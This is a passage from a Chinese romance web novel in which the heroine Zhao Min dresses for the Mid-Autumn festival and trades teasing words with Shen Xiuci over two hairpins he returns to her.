朝玟心中泛起嘀咕:梳个头而已,有什么好看的,有必要看的这么认真吗?
不过……看吧看吧,她也不会少块肉。
朝玟对那一道视线并不反感,她的双手灵巧地在发间穿梭,不一会儿便梳好了一个发髻,样式虽简单,但点缀上珠宝后,却显得异常精致。
她对镜自赏了片刻,然后转头向门外的人询问:“怎
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么样?”
沈修慈自然是含笑着回答她:“好看。”
她带着一丝自豪解释道:“这可是京城女子们最为青睐的发型之一。”
说完,心中不禁涌起一股小小的得意。
她还在昆仑的时候,无需自己动手,就能得到最精致的装扮,但那种被动的美丽,是展示给别人看的,还有许多约束,总让她感觉缺少了些什么。
她当时就想,她要早点做完任务回去,按自己的心意打扮,穿成什么样都无所谓,她要让自己满意,让自己开心。
死遁后,她终于能够做她自己了,又因有本领傍身,手里又始终有点闲钱,便不留余力的捯饬她自己。
朝玟在这里三个月,发饰以及服饰几乎没有重样过,几乎每一天都在尝试不同的装扮,这种变化让她感到新鲜和兴奋,这也是她赚取的酬金这么快就见底,导致没有钱来交房租的一个重要原因。
但朝玟并不后悔,因为这些衣物和发饰给了她一种全新的生活体验。
朝玟照了照铜镜,对今天的自己很满意。
朝玟见他看得入了神,撇了撇嘴角,不解问道:“梳头而已,究竟有什么好看的。”
沈修慈:“我在等你的一句话。”
朝玟微微挑眉,好奇地问:“什么话?”
“我在想,你会不会突然问我,你想带绒花还是带步摇。”
朝玟愣了愣,调整发饰的手从头顶放了下来。
“这……也能让你想起来吗?”
沈修慈轻笑一声,不知从哪里变出了两枚簪子,走到朝玟的面前,放到桌面上。
他的记忆恢复的越多,与朝玟相处越来越自然熟络了。
朝玟认出了这两枚簪子。
一枚,是她昨日不小心摔到地上,沈修慈为她买下来的,还有另外一枚,是她那日逃跑回来,不知何时,以为已经遗失的。
不想竟没有遗失,而是落到了驿站,被沈修慈捡到了。
此刻,他既然提起绒花和步摇,又将这两枚簪子摆在面前,朝玟不得不多想一层他的用意,猜测道:“你想让我从里面选一个?”
沈修慈眨了眨眼睛:“只是物归原主。”
朝玟轻哼一声,心想:我信你个鬼。
她还不了解他吗?与他联手谋权斗争的那些年,他的八百个心眼,每一个她都领略过,若无别的用意,沈修慈根本不会提。
恰好,她现在正缺一枚簪子。
朝玟伸手拿起昨日所选的那枚簪子,在手指间轻轻转动,端详了片刻,发现它依旧完好无损,便毫不犹豫地将其插入了发髻之中。
别说,刚好合适。
果不其然,沈修慈紧接着便开口道:“昨日见你细细端详了许久,我猜想你应该是喜欢的。”
朝玟却偏偏不顺着他的心意,故意装作无所谓的样子,轻描淡写地说:“喜不喜欢并不重要,重要的是它与我今日的装扮相配,这就足够了。”
“我要换衣服了,你还要站在这里看吗?”朝玟扭头不满道。
沈修慈:“那我在外面等你。”
他转身离开,顺手将房门轻轻带上。
朝玟回想着他们方才的对话,以及沈修慈离去时那含着笑意的眼神,一切尽在不言中。
她轻哼一声,自语道:“我的喜好就这么重要吗?”
目光一转,她无意中在镜中看到自己的表情,她的嘴角无意识的翘起,正在笑。
朝玟立刻收敛了情绪,板起脸来,对自己低声嘟囔了一句“莫名其妙”,然后起身去挑选今日的衣裳。
考虑到今晚是中秋佳节,还要出席庆典,朝玟思量再三,特意挑选了一件白色衣裙。半臂上绣着金菊图案,宛如夜空中弯弯的月牙,腰间系着一串镶嵌水晶的亮片腰带,月白色的百褶裙摆旋转间,仿佛圆月明亮的倒影,与中秋的氛围相得益彰,再合适不过了。
当她步出房门时,才意识到自己的衣衫颜色与沈修慈那一身洁白竟是如此和谐,两人站在一起,看上去有点微妙。
然而,沈修慈似乎并未察觉这一点,朝玟也权当没有这事,两人一同出了门。